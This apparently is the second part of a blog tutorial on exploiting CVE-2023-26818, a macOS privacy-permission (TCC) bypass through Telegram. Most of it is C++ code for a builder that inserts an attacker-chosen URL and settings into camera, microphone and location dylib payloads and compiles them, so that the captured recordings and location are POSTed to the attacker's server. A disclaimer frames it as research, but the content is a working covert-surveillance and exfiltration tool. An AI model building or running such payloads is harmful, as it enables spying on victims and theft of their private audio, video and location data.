Exploit Writing Part 2: CVE-2023-26818 MacOS TCC Bypass W/ telegram
Disclaimer
This exploit has been created solely for the purposes of research and for the development of effective defensive techniques.
It is not intended to be used for any malicious or unauthorized activities. The author and the owner of the script disclaim
any responsibility or liability for any misuse or damage caused by this software. Users are urged to use this software
responsibly and only in accordance with applicable laws and regulations. Not for non-ethical usages.
Introduction
In this second part, we added more features to the exploits to send the results to a special domain/website in a POST
request, So the data can be transferred to the targeted server and retrieved from the server side to the original format.
The Exploit
Here we created a console app to make it easier to edit and compile the dylibs
codes. And let’s break down the codes:
#include <iostream>
#include <string>
#include <cctype>
#include <fstream>
#include <sstream>
These are the header files that the code needs.
bool isNumber(const std::string& str) {
for (char const &c : str) {
if (!std::isdigit(c)) return false;
}
return true;
}
Here, checks if a given string is a number by iterating through each character in the string and ensuring it’s a digit. It
returns true
if the string is a number, false
otherwise.
void compileAndExport(const std::string &libraryName) {
std::string compileCommand;
if (libraryName == "Camera") {
compileCommand = "gcc -dynamiclib -framework Foundation -framework AVFoundation ./libs/Camexploit.m -o ./Exports/Cam.dylib";
} else if (libraryName == "Microphone") {
compileCommand = "gcc -dynamiclib -framework Foundation -framework AVFoundation ./libs/Micexploit.m -o ./Exports/Micexploit.dylib";
} else if (libraryName == "Location") {
compileCommand = "gcc -dynamiclib -framework Foundation -framework CoreLocation -framework AVFoundation ./libs/Locexploit.m -o ./Exports/Locexploit.dylib";
}
int result = system(compileCommand.c_str());
if (result == 0) {
std::cout << libraryName << " compilation successful. Exported to ./Exports folder.\n";
} else {
std::cerr << libraryName << " compilation failed. Please check the source code.\n";
}
}
This function compiles and exports a library based on its name. It prepares a compilation command string based on the
library’s name and then executes it using the system function. After execution, it checks if the compilation was successful
and notifies the user accordingly.
void updateFileContent(const std::string& filePath, const std::string& timeInSeconds, const std::string& outputFilename, const std::string& domainName) {
std::ifstream file(filePath);
std::ostringstream tempStream;
std::string line;
while (std::getline(file, line)) {
if (line.find("[NSThread sleepForTimeInterval:") != std::string::npos) {
tempStream << "[NSThread sleepForTimeInterval:" << timeInSeconds << ".0];\n";
} else if (line.find("[NSTemporaryDirectory() stringByAppendingPathComponent:@\"file_name\"]") != std::string::npos) {
tempStream << "NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@\"" << outputFilename << "\"];\n";
} else if (line.find("[request setURL:[NSURL URLWithString:@\"http://a.com\"]]") != std::string::npos) {
tempStream << "[request setURL:[NSURL URLWithString:@\"" << domainName << "\"]];\n";
} else {
tempStream << line << "\n";
}
}
file.close();
std::ofstream outFile(filePath);
outFile << tempStream.str();
outFile.close();
}
This function updates the content of a given file (specified by filePath
). It reads the file line by line and looks for
specific placeholders to replace them with user input values (time
, filename
, and domain name
). After modifying the
content, it writes the updated content back to the same file.
int main() {
bool camera = false;
bool microphone = false;
bool location = false;
std::string timeInSeconds;
std::string outputFilename;
std::string domainName;
Here are flags for each option (camera
, microphone
, and location
) are declared along with strings to store user input for
recording time, output filename, and domain name.
while (true) {
std::cout << "Select options by entering the number:\n";
std::cout << "1. Toggle Camera (" << (camera ? "Selected" : "Not Selected") << ")\n";
std::cout << "2. Toggle Microphone (" << (microphone ? "Selected" : "Not Selected") << ")\n";
std::cout << "3. Toggle Location (" << (location ? "Selected" : "Not Selected") << ")\n";
std::cout << "4. Set Time In Second for Recording (" << timeInSeconds << ")\n";
std::cout << "5. Set Output Filename (" << outputFilename << ")\n";
std::cout << "6. Set Domain Name (" << domainName << ")\n";
std::cout << "7. Export\n";
std::cout << "8. Exit\n";
std::cout << "> ";
int choice;
std::cin >> choice;
std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\n'); // clear the buffer
switch (choice) {
case 1:
camera = !camera;
break;
case 2:
microphone = !microphone;
break;
case 3:
location = !location;
break;
case 4:
if (camera || microphone) {
std::cout << "Enter time in seconds: ";
std::getline(std::cin, timeInSeconds);
if (!isNumber(timeInSeconds)) {
std::cout << "Invalid input! Please enter a valid number for time.\n";
timeInSeconds = "";
}
} else {
std::cout << "You need to select Camera or Microphone first!\n";
}
break;
case 5:
if (camera || microphone) {
std::cout << "Enter output filename: ";
std::getline(std::cin, outputFilename);
} else {
std::cout << "You need to select Camera or Microphone first!\n";
}
break;
case 6:
std::cout << "Enter domain name (including http:// or https://): ";
std::getline(std::cin, domainName);
break;
case 7:
if (!camera && !microphone && !location) {
std::cout << "Please select at least one option!\n";
} else if ((camera || microphone || location) && (timeInSeconds.empty() || outputFilename.empty() || domainName.empty())) {
std::cout << "Please fill in all required fields!\n";
} else if ( location && domainName.empty()) {
std::cout << "Please fill in all required fields!\n";
} else {
if (camera) {
updateFileContent("./libs/Camexploit.m", timeInSeconds, outputFilename, domainName);
compileAndExport("Camera");
}
if (microphone) {
updateFileContent("./libs/Micexploit.m", timeInSeconds, outputFilename, domainName);
compileAndExport("Microphone");
}
if (location) {
updateFileContent("./libs/Locexploit.m", timeInSeconds, outputFilename, domainName);
compileAndExport("Location");
}
}
break;
case 8:
return 0;
default:
std::cout << "Invalid choice. Please try again.\n";
break;
}
This loop continues to run until the user chooses the Exit
option. Within the loop, the console presents a menu to the user
to select various options such as toggling which features are selected, setting the recording time
, output filename
, domain
name
, and exporting
. Depending on the user’s choice, various tasks are performed. and then executes actions based on the
user’s choice. If the user chooses option 8. Exit
the code will exit, terminating the loop and the process.
Exploit Test
-
Victim Side:
-
Attacker Side:
Conclusion
As of now we finished the full exploit with the ability to send the data to us on the server after we exploit it, Disclaimer: This
exploit has been created solely for the purposes of research and for the development of effective defensive techniques. It is
not intended to be used for any malicious or unauthorized activities. The author and the owner of the script disclaim any
responsibility or liability for any misuse or damage caused by this software. Users are urged to use this software responsibly
and only in accordance with applicable laws and regulations. Not for non-ethical usages.